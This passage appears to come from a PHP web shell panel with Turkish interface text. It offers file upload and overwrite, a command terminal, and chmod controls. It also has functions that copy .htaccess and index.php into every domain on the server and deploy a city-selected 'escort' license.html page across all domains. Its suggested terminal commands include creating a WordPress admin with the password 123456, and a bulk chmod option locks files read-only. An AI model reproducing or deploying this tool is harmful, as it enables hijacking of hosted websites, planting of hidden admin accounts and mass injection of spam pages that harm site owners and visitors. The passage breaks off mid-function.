            <div class="flex gap-3"><button type="button" onclick="closeModal('createEditFileModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-blue-600 rounded-xl hover:bg-blue-500 transition-all">Save</button></div>
        </form>
    </div>
</div>

<!-- Upload -->
<div id="uploadFileModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('uploadFileModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
            <div class="flex items-center gap-3">
                <div class="w-8 h-8 rounded-lg bg-amber-500/15 border border-amber-500/25 flex items-center justify-center">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>
                </div>
                <h2 class="font-semibold text-slate-100 text-sm">Upload Files <span class="text-[10px] text-amber-400 font-mono">(overwrite)</span></h2>
            </div>
            <button type="button" onclick="closeModal('uploadFileModal')" class="text-slate-500 hover:text-slate-300 text-xl">&times;</button>
        </div>
        <form method="post" enctype="multipart/form-data" class="p-6" id="uploadForm">
            <div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-3 flex items-center gap-2">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
                <span>Aynı isimde dosya varsa <strong>ÜZERİNE YAZILIR</strong></span>
            </div>
            <label class="flex flex-col items-center justify-center gap-2 w-full h-28 border-2 border-dashed border-slate-700 rounded-xl cursor-pointer hover:border-amber-500/40 hover:bg-amber-500/5 transition-all mb-3 group">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 text-slate-600 group-hover:text-amber-500/60 transition-colors" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12"/></svg>
                <span class="text-[10px] text-slate-500 group-hover:text-slate-400 transition-colors">Click to browse or drag & drop</span>
                <span class="text-[10px] text-slate-600">Multiple files supported</span>
                <input type="file" name="fileToUpload[]" multiple required class="hidden" onchange="updUploadNames(this)">
            </label>
            <div id="uploadFileNames" class="text-[10px] mono text-slate-500 text-center mb-3 hidden"></div>
            <div class="flex gap-3">
                <button type="button" onclick="closeModal('uploadFileModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button>
                <button type="submit" name="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-amber-600 rounded-xl hover:bg-amber-500 transition-all">Upload & Overwrite</button>
            </div>
        </form>
    </div>
</div>

<!-- TERMINAL MODAL -->
<div id="runCommandModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('runCommandModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-2xl shadow-2xl animate-slide-up flex flex-col" style="max-height:90vh">
        <div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50 flex-shrink-0">
            <div class="flex items-center gap-2">
                <div class="w-7 h-7 rounded-lg bg-rose-500/15 border border-rose-500/25 flex items-center justify-center">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-rose-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>
                </div>
                <h2 class="font-semibold text-slate-100 text-sm">Terminal</h2>
                <span class="text-[10px] text-slate-500 mono">⚡ <?php echo count($terminalHistory); ?></span>
                <?php if($isWordPress): ?>
                <span class="text-[10px] text-emerald-400 bg-emerald-500/10 px-1.5 py-0.5 rounded-full mono border border-emerald-500/20">WP</span>
                <?php endif; ?>
                <?php if($detectedDomain): ?>
                <span class="text-[10px] text-emerald-400 mono">🌐 <?php echo htmlspecialchars($detectedDomain); ?></span>
                <?php endif; ?>
            </div>
            <button type="button" onclick="closeModal('runCommandModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
        </div>
        
        <?php if(!empty($terminalHistory)): ?>
        <div class="flex-1 overflow-y-auto border-b border-slate-700/50 bg-surface-950/50" style="max-height:250px;">
            <?php foreach(array_slice($terminalHistory, 0, 50) as $entry): ?>
            <div class="terminal-history-item">
                <span class="time"><?php echo $entry['time']; ?></span>
                <span class="icon">$</span>
                <span class="cmd mono"><?php echo htmlspecialchars($entry['cmd']); ?></span>
            </div>
            <?php endforeach; ?>
        </div>
        <?php endif; ?>
        
        <form method="post" class="p-3 flex-shrink-0" id="terminalForm">
            <div class="relative">
                <div id="terminalSuggestions"></div>
                <div class="flex items-center gap-2 px-3 py-2 mono bg-slate-800/60 border border-slate-700/50 rounded-xl focus-within:border-rose-500/50 focus-within:bg-slate-800 transition-all">
                    <span class="text-rose-400 text-sm select-none">$</span>
                    <input type="text" name="cmd_input" id="cmdInput" required autofocus 
                        placeholder='ls -la | "wp help"' 
                        class="flex-1 bg-transparent text-xs text-slate-200 placeholder-slate-600 focus:outline-none"
                        onkeydown="handleTerminalKey(event)"
                        oninput="showSuggestions(this.value)">
                </div>
                <div class="flex gap-1.5 mt-2 flex-wrap">
                    <button type="submit" class="px-3 py-1.5 text-xs font-semibold text-white bg-rose-600 rounded-lg hover:bg-rose-500 transition-all">▶ Execute</button>
                    <button type="submit" name="clear_history" value="1" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">🗑️ Clear</button>
                    <button type="button" onclick="closeModal('runCommandModal')" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">Close</button>
                </div>
            </div>
        </form>
    </div>
</div>

<!-- Chmod -->
<div id="chmodModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('chmodModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-sm shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
            <div class="flex items-center gap-3">
                <div class="w-7 h-7 rounded-lg bg-amber-500/15 border border-amber-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg></div>
                <div><h2 class="font-semibold text-slate-100 text-sm">Chmod</h2><p id="chmodFilename" class="text-[10px] mono text-slate-500 truncate max-w-[140px]"></p></div>
            </div>
            <button type="button" onclick="closeModal('chmodModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
        </div>
        <form method="post" class="p-5">
            <input type="hidden" name="chmod_file" id="chmodFileInput">
            <div class="grid grid-cols-3 gap-3 mb-4 text-[10px] mono">
                <?php foreach(['Owner','Group','Other'] as $gi=>$gl): ?>
                <div class="text-center">
                    <div class="text-slate-400 font-semibold mb-2 text-[9px] uppercase tracking-wider"><?php echo $gl; ?></div>
                    <div class="space-y-1.5">
                        <?php foreach(['Read','Write','Exec'] as $bi=>$bl): $pos=$gi*3+$bi; ?>
                        <label class="flex items-center gap-1.5 cursor-pointer justify-center">
                            <input type="checkbox" class="perm-bit w-3 h-3 rounded cursor-pointer" data-pos="<?php echo $pos; ?>" onchange="updOctal()" style="accent-color:#f59e0b">
                            <span class="text-slate-400 text-[10px]"><?php echo $bl; ?></span>
                        </label>
                        <?php endforeach; ?>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
            <div class="flex items-center gap-3 p-2.5 bg-slate-800/60 rounded-xl border border-slate-700/50 mb-4">
                <span class="text-[10px] text-slate-400 font-medium">Octal:</span>
                <input type="text" name="chmod_value" id="chmodOctal" maxlength="4" class="flex-1 bg-transparent mono text-sm text-amber-400 focus:outline-none" oninput="syncBits(this.value)">
            </div>
            <div class="flex gap-3"><button type="button" onclick="closeModal('chmodModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-amber-600 rounded-xl hover:bg-amber-500 transition-all">Apply</button></div>
        </form>
    </div>
</div>

<!-- ─── TOPLU CHMOD MODAL ────────────────────────────────── -->
<div id="permModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('permModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
            <div class="flex items-center gap-3">
                <div class="w-7 h-7 rounded-lg bg-cyan-500/15 border border-cyan-500/25 flex items-center justify-center">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-cyan-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg>
                </div>
                <div>
                    <h2 class="font-semibold text-slate-100 text-sm">Toplu Chmod</h2>
                    <p class="text-[10px] text-slate-500">Tüm domainlerde .htaccess + index.php</p>
                </div>
            </div>
            <button type="button" onclick="closeModal('permModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
        </div>
        <form method="post" class="p-5">
            <input type="hidden" name="set_permissions_all_domains" value="1">
            
            <div class="mb-4">
                <label class="block text-[10px] font-medium text-slate-400 mb-1.5">İzin Modu (Octal)</label>
                <div class="flex gap-3">
                    <button type="button" onclick="document.getElementById('permValue').value='444'" class="flex-1 px-3 py-2 text-xs font-semibold rounded-lg bg-rose-500/15 text-rose-400 border border-rose-500/25 hover:bg-rose-500/25 transition-all">444 (Read-Only)</button>
                    <button type="button" onclick="document.getElementById('permValue').value='644'" class="flex-1 px-3 py-2 text-xs font-semibold rounded-lg bg-emerald-500/15 text-emerald-400 border border-emerald-500/25 hover:bg-emerald-500/25 transition-all">644 (RW-R-R)</button>
                </div>
                <input type="text" name="permission_mode" id="permValue" value="644" 
                    class="w-full mt-2 px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-cyan-400 placeholder-slate-600 focus:outline-none focus:border-cyan-500/50 focus:bg-slate-800 transition-all text-center">
                <p class="text-[10px] text-slate-500 text-center mt-1">🛡️ 444 = Salt Okunur | 644 = Yazılabilir</p>
            </div>
            
            <div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-4 flex items-start gap-2">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0 mt-0.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
                <span><strong>TÜM domainlerde</strong> .htaccess ve index.php dosyalarının izinleri topluca değiştirilecektir.</span>
            </div>
            
            <div class="flex gap-3">
                <button type="button" onclick="closeModal('permModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button>
                <button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-cyan-600 rounded-xl hover:bg-cyan-500 transition-all">✅ Uygula</button>
            </div>
        </form>
    </div>
</div>

<!-- ─── ŞEHİR SEÇME MODALI (license.html için) ────────────── -->
<div id="escortCityModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
    <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('escortCityModal')"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
        <div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
            <div class="flex items-center gap-3">
                <div class="w-7 h-7 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-violet-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/></svg>
                </div>
                <div>
                    <h2 class="font-semibold text-slate-100 text-sm">license.html Oluştur</h2>
                    <p class="text-[10px] text-slate-500">Şehir seçerek tüm domainlere veya mevcut domaine kopyala</p>
                </div>
            </div>
            <button type="button" onclick="closeModal('escortCityModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
        </div>
        <form method="post" class="p-5">
            <input type="hidden" name="deploy_escort" value="1">
            <div class="mb-4">
                <label class="block text-[10px] font-medium text-slate-400 mb-1.5">Şehir Seçin</label>
                <select name="escort_city" required class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
                    <option value="istanbul">İstanbul</option>
                    <option value="bodrum" selected>Bodrum / Muğla</option>
                    <option value="antalya">Antalya</option>
                    <option value="ankara">Ankara</option>
                    <option value="bursa">Bursa</option>
                </select>
            </div>
            <div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-4 flex items-start gap-2">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0 mt-0.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
                <span><strong>Domains klasörü yoksa</strong> mevcut dizine, varsa tüm domainlere kopyalanır.</span>
            </div>
            <div class="flex gap-3">
                <button type="button" onclick="closeModal('escortCityModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button>
                <button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-violet-600 rounded-xl hover:bg-violet-500 transition-all">🚀 Deploy</button>
            </div>
        </form>
    </div>
</div>

<!-- Code Editor Modal -->
<div id="editorModal" class="fixed inset-0 z-50 hidden items-center justify-center p-2 sm:p-4">
    <div class="absolute inset-0 bg-black/70 backdrop-blur-sm"></div>
    <div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full shadow-2xl animate-slide-up flex flex-col" style="max-width:900px;max-height:95vh">
        <div class="flex items-center justify-between px-4 py-2.5 border-b border-slate-700/50 flex-shrink-0">
            <div class="flex items-center gap-2">
                <div class="w-7 h-7 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-violet-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M10 20l4-16m4 4l4 4-4 4M6 16l-4-4 4-4"/></svg></div>
                <span class="font-semibold text-slate-100 text-xs">Code Editor</span>
                <span id="edFname" class="text-[10px] mono text-slate-500 truncate max-w-[180px]"></span>
            </div>
            <div class="flex items-center gap-1.5">
                <select id="edLang" onchange="hlPreview()" class="text-[10px] mono bg-slate-800 border border-slate-700 text-slate-300 rounded px-1.5 py-0.5 focus:outline-none focus:border-violet-500/50">
                    <option value="">Auto</option>
                    <option value="php">PHP</option><option value="javascript">JS</option><option value="typescript">TS</option>
                    <option value="html">HTML</option><option value="css">CSS</option><option value="python">Python</option>
                    <option value="bash">Bash</option><option value="sql">SQL</option><option value="json">JSON</option>
                    <option value="xml">XML</option><option value="markdown">Markdown</option><option value="plaintext">Plain</option>
                </select>
                <button type="button" onclick="closeModal('editorModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">&times;</button>
            </div>
        </div>
        <div class="flex border-b border-slate-700/50 flex-shrink-0 bg-slate-800/30">
            <button type="button" id="tabEdit" onclick="switchEdTab('edit')" class="px-3 py-2 text-[10px] font-medium text-blue-400 border-b-2 border-blue-500 transition-all">✏️ Edit</button>
            <button type="button" id="tabPrev" onclick="switchEdTab('prev')" class="px-3 py-2 text-[10px] font-medium text-slate-500 border-b-2 border-transparent hover:text-slate-300 transition-all">🎨 Preview</button>
        </div>
        <div id="edPanelEdit" class="flex-1 flex flex-col overflow-hidden">
            <textarea id="edTA" spellcheck="false" onkeydown="tabKey(event)" oninput="updLines()"
                class="flex-1 w-full mono text-[10px] text-slate-300 bg-[#1a2332] p-3 focus:outline-none resize-none"
                style="min-height:300px;tab-size:4;line-height:1.5;"></textarea>
        </div>
        <div id="edPanelPrev" class="hidden flex-1 overflow-auto bg-[#282c34]">
            <pre class="m-0 rounded-none"><code id="edPreviewCode" class="text-[10px]" style="font-family:'JetBrains Mono',monospace;"></code></pre>
        </div>
        <div class="flex items-center justify-between px-4 py-2 border-t border-slate-700/50 flex-shrink-0 bg-slate-800/30">
            <div class="flex items-center gap-3 text-[10px] mono text-slate-600">
                <span id="edLines">0 lines</span>
                <span id="edChars">0 chars</span>
            </div>
            <div class="flex gap-2">
                <button type="button" onclick="closeModal('editorModal')" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">Cancel</button>
                <button type="button" onclick="saveEditor()" class="px-4 py-1.5 text-xs font-semibold text-white bg-violet-600 rounded-lg hover:bg-violet-500 transition-all flex items-center gap-1.5">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 7H5a2 2 0 00-2 2v9a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-3m-1 4l-3 3m0 0l-3-3m3 3V4"/></svg>
                    Save
                </button>
            </div>
        </div>
        <form method="post" id="edSaveForm" class="hidden">
            <input type="hidden" name="file_name" id="edSaveName">
            <input type="hidden" name="file_content" id="edSaveContent">
        </form>
    </div>
</div>

<!-- SCRIPTS -->
<script>
// ── Modals ──
function openModal(id){const m=document.getElementById(id);m.classList.remove('hidden');m.classList.add('flex');document.body.classList.add('modal-open');}
function closeModal(id){const m=document.getElementById(id);m.classList.add('hidden');m.classList.remove('flex');document.body.classList.remove('modal-open');}
function toggleMobileMenu(){document.getElementById('mobileMenu').classList.toggle('hidden');}
function closeMobileMenu(){document.getElementById('mobileMenu').classList.add('hidden');}

// ── Multiple File Upload ──
function updUploadNames(input) {
    const container = document.getElementById('uploadFileNames');
    if (input.files && input.files.length > 0) {
        const names = Array.from(input.files).map(f => f.name);
        container.textContent = names.join(', ');
        container.classList.remove('hidden');
    } else {
        container.classList.add('hidden');
    }
}

// ── Auto-dismiss status ──
document.addEventListener('DOMContentLoaded',()=>{
    const s=document.getElementById('statusMsg');
    if(s){setTimeout(()=>{s.style.opacity='0';s.style.transition='opacity 0.5s';},4000);setTimeout(()=>s.remove(),4600);}
    hljs.highlightAll();
    if(window._editorAutoLoad){
        openEditorWith(window._editorAutoLoad.filename,window._editorAutoLoad.content);
    }
});

// ── Bulk select ──
function toggleAll(cb){document.querySelectorAll('.item-check').forEach(c=>c.checked=cb.checked);updBulk();}
function updBulk(){
    const ch=document.querySelectorAll('.item-check:checked');
    const bar=document.getElementById('bulkBar');
    document.getElementById('selectedCount').textContent=ch.length;
    if(ch.length>0){bar.classList.remove('hidden');bar.classList.add('flex');}
    else{bar.classList.add('hidden');bar.classList.remove('flex');}
    document.getElementById('checkAll').checked=ch.length>0&&ch.length===document.querySelectorAll('.item-check').length;
}
function clearSel(){document.querySelectorAll('.item-check').forEach(c=>c.checked=false);document.getElementById('checkAll').checked=false;updBulk();}
function submitBulkDelete(){
    const checked=document.querySelectorAll('.item-check:checked');
    if(!checked.length)return;
    if(!confirm('Delete '+checked.length+' selected item(s) permanently?'))return;
    const container=document.getElementById('bulkItemsContainer');
    container.innerHTML='';
    checked.forEach(cb=>{
        const inp=document.createElement('input');
        inp.type='hidden';inp.name='selected_items[]';inp.value=cb.value;
        container.appendChild(inp);
    });
    document.getElementById('bulkForm').submit();
}

// ── Chmod ──
function openChmod(f,p){
    document.getElementById('chmodFilename').textContent=f;
    document.getElementById('chmodFileInput').value=f;
    const oct=p.length===4?p.slice(1):p;
    document.getElementById('chmodOctal').value=oct;
    syncBits(oct);
    openModal('chmodModal');
}
function syncBits(v){
    if(v.length<3)return;
    const s=v.length===4?v.slice(1):v;
    const bits=[];
    for(const d of s)for(let b=2;b>=0;b--)bits.push(!!(parseInt(d)&(1<<b)));
    document.querySelectorAll('.perm-bit').forEach((cb,i)=>{cb.checked=bits[i]||false;});
}
function updOctal(){
    const bits=[...document.querySelectorAll('.perm-bit')].map(c=>c.checked?1:0);
    let o='';
    for(let i=0;i<9;i+=3)o+=String((bits[i]<<2)|(bits[i+1]<<1)|bits[i+2]);
    document.getElementById('chmodOctal').value=o;
}

// ── Code Editor ──
let edCurrentFile='';
const extLangMap={php:'php',js:'javascript',ts:'typescript',html:'html',htm:'html',css:'css',json:'json',xml:'xml',sql:'sql',py:'python',sh:'bash',bash:'bash',md:'markdown'};

function loadAndEdit(filename){
    const fd=new FormData();fd.append('editor_load',filename);
    fetch(window.location.href,{method:'POST',body:fd})
        .then(r=>r.text()).then(html=>{
            const match=html.match(/window\._editorAutoLoad=(\{.*?\});/s);
            if(match){
                try{
                    const data=JSON.parse(match[1]);
                    openEditorWith(data.filename,data.content);
                }catch(e){openEditorWith(filename,'// Could not load file content');}
            }else{openEditorWith(filename,'// Could not load file content');}
        }).catch(()=>openEditorWith(filename,'// Network error'));
}

function openEditorFromResultBox(){
    const btn=document.querySelector('#resultBox button[data-filename]');
    if(!btn)return;
    const filename=btn.getAttribute('data-filename');
    const rawTA=document.getElementById('resultRawContent');
    const content=rawTA?rawTA.value:'';
    openEditorWith(filename,content);
}
function openEditorWith(filename,content){
    edCurrentFile=filename;
    document.getElementById('edFname').textContent=filename;
    document.getElementById('edSaveName').value=filename;
    document.getElementById('edTA').value=content;
    updLines();
    const ext=filename.split('.').pop().toLowerCase();
    const lang=extLangMap[ext]||'';
    document.getElementById('edLang').value=lang;
    switchEdTab('edit');
    openModal('editorModal');
}

function switchEdTab(tab){
    const isEdit=tab==='edit';
    document.getElementById('edPanelEdit').classList.toggle('hidden',!isEdit);
    document.getElementById('edPanelPrev').classList.toggle('hidden',isEdit);
    document.getElementById('tabEdit').className='px-3 py-2 text-[10px] font-medium transition-all border-b-2 '+(isEdit?'text-blue-400 border-blue-500':'text-slate-500 border-transparent hover:text-slate-300');
    document.getElementById('tabPrev').className='px-3 py-2 text-[10px] font-medium transition-all border-b-2 '+(!isEdit?'text-blue-400 border-blue-500':'text-slate-500 border-transparent hover:text-slate-300');
    if(!isEdit)hlPreview();
}
function hlPreview(){
    const code=document.getElementById('edPreviewCode');
    const lang=document.getElementById('edLang').value;
    code.textContent=document.getElementById('edTA').value;
    code.className=lang?'language-'+lang:'';
    if(lang){hljs.highlightElement(code);}else{hljs.highlightAuto(code.textContent).then?(()=>{}):(code.innerHTML=hljs.highlightAuto(code.textContent).value);}
    try{if(!lang)code.innerHTML=hljs.highlightAuto(document.getElementById('edTA').value).value;}catch(e){}
}
function updLines(){
    const t=document.getElementById('edTA').value;
    document.getElementById('edLines').textContent=t.split('\n').length+' lines';
    document.getElementById('edChars').textContent=t.length+' chars';
}
function tabKey(e){
    if(e.key==='Tab'){e.preventDefault();const t=e.target,s=t.selectionStart,en=t.selectionEnd;t.value=t.value.substring(0,s)+'    '+t.value.substring(en);t.selectionStart=t.selectionEnd=s+4;updLines();}
}
function saveEditor(){
    document.getElementById('edSaveName').value=edCurrentFile;
    document.getElementById('edSaveContent').value=document.getElementById('edTA').value;
    document.getElementById('edSaveForm').submit();
}

// ── TERMINAL ──
const terminalSuggestions = [
    { cmd: 'ls -la', desc: 'List all' },
    { cmd: 'ls -la | grep .php', desc: 'Find PHP' },
    { cmd: 'pwd', desc: 'Current dir' },
    { cmd: 'whoami', desc: 'Username' },
    { cmd: 'id', desc: 'User info' },
    { cmd: 'uname -a', desc: 'System info' },
    { cmd: 'df -h', desc: 'Disk usage' },
    { cmd: 'free -m', desc: 'RAM info' },
    { cmd: 'ps aux | grep php', desc: 'PHP processes' },
    { cmd: 'netstat -tulpn | grep LISTEN', desc: 'Open ports' },
    { cmd: 'find . -name "*.php" -type f', desc: 'Find all PHP' },
    { cmd: 'grep -r "eval(" .', desc: 'Find eval' },
    { cmd: 'grep -r "base64_decode" .', desc: 'Find base64' },
    { cmd: 'chmod 755 *.php', desc: 'CHMOD 755 PHP' },
    { cmd: 'chmod 644 *.html', desc: 'CHMOD 644 HTML' },
    { cmd: 'rm -rf cache/', desc: 'Delete cache' },
    { cmd: 'mkdir backup', desc: 'Create backup' },
    { cmd: 'cp -r wp-content backup/', desc: 'Backup wp-content' },
    { cmd: 'php -v', desc: 'PHP version' },
    { cmd: 'mysql -V', desc: 'MySQL version' },
    { cmd: 'wp user create admin 123456', desc: 'Create WP Admin' },
    { cmd: 'wp user create test 123456 test@site.com', desc: 'Create WP User' },
    { cmd: 'wp admin', desc: 'Open WP Admin' },
    { cmd: 'wp-open', desc: 'Open WP Admin' },
    { cmd: 'wp info', desc: 'WP Site info' },
    { cmd: 'wp plugins', desc: 'List plugins' },
    { cmd: 'wp themes', desc: 'List themes' },
    { cmd: 'wp cache clear', desc: 'Clear WP cache' },
    { cmd: 'wp help', desc: 'WP help' },
    { cmd: 'help', desc: 'Help' },
];

function showSuggestions(value) {
    const container = document.getElementById('terminalSuggestions');
    if (!value || value.length < 1) {
        container.style.display = 'none';
        return;
    }
    
    const matches = terminalSuggestions.filter(s => 
        s.cmd.toLowerCase().includes(value.toLowerCase())
    ).slice(0, 6);
    
    if (matches.length === 0) {
        container.style.display = 'none';
        return;
    }
    
    container.innerHTML = matches.map(s => 
        `<div class="suggestion-item" onclick="selectSuggestion('${s.cmd}')">
            ${s.cmd}
            <span class="desc">${s.desc}</span>
        </div>`
    ).join('');
    container.style.display = 'block';
}

function selectSuggestion(cmd) {
    document.getElementById('cmdInput').value = cmd;
    document.getElementById('terminalSuggestions').style.display = 'none';
    document.getElementById('cmdInput').focus();
}

function handleTerminalKey(e) {
    const container = document.getElementById('terminalSuggestions');
    if (e.key === 'Escape') {
        container.style.display = 'none';
        return;
    }
    if (e.key === 'Enter' && container.style.display === 'block') {
        const firstSuggestion = container.querySelector('.suggestion-item');
        if (firstSuggestion) {
            e.preventDefault();
            firstSuggestion.click();
        }
    }
    if (e.key === 'ArrowDown' || e.key === 'ArrowUp') {
        const items = container.querySelectorAll('.suggestion-item');
        if (items.length > 0) {
            e.preventDefault();
            let current = document.activeElement;
            let idx = -1;
            items.forEach((el, i) => { if (el === current) idx = i; });
            if (e.key === 'ArrowDown') idx = Math.min(idx + 1, items.length - 1);
            else idx = Math.max(idx - 1, 0);
            if (idx >= 0 && idx < items.length) items[idx].focus();
        }
    }
}

// ── Cache Temizleme ──
function clearAllDomainsCache(){
    if(confirm('⚠️ Bu işlem, SUNUCUDAKİ TÜM DOMAINLERİN (public_html) cache\'ini temizleyecek. Devam etmek istediğinize emin misiniz?')){
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = window.location.href;
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'clear_all_domains_cache';
        input.value = '1';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }
}

// ── All Domains (Deploy .htaccess + index.php) ──
function deployAllDomains(){
    if(confirm('⚠️ Bu işlem, MEVCUT .htaccess ve index.php dosyalarını SUNUCUDAKİ TÜM DOMAINLERİN public_html dizinine kopyalayacak. Devam et?')){
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = window.location.href;
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'deploy_all_domains';
        input.value = '1';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }
}

// ── clr.php Deploy ──
function deployClrPhp(){
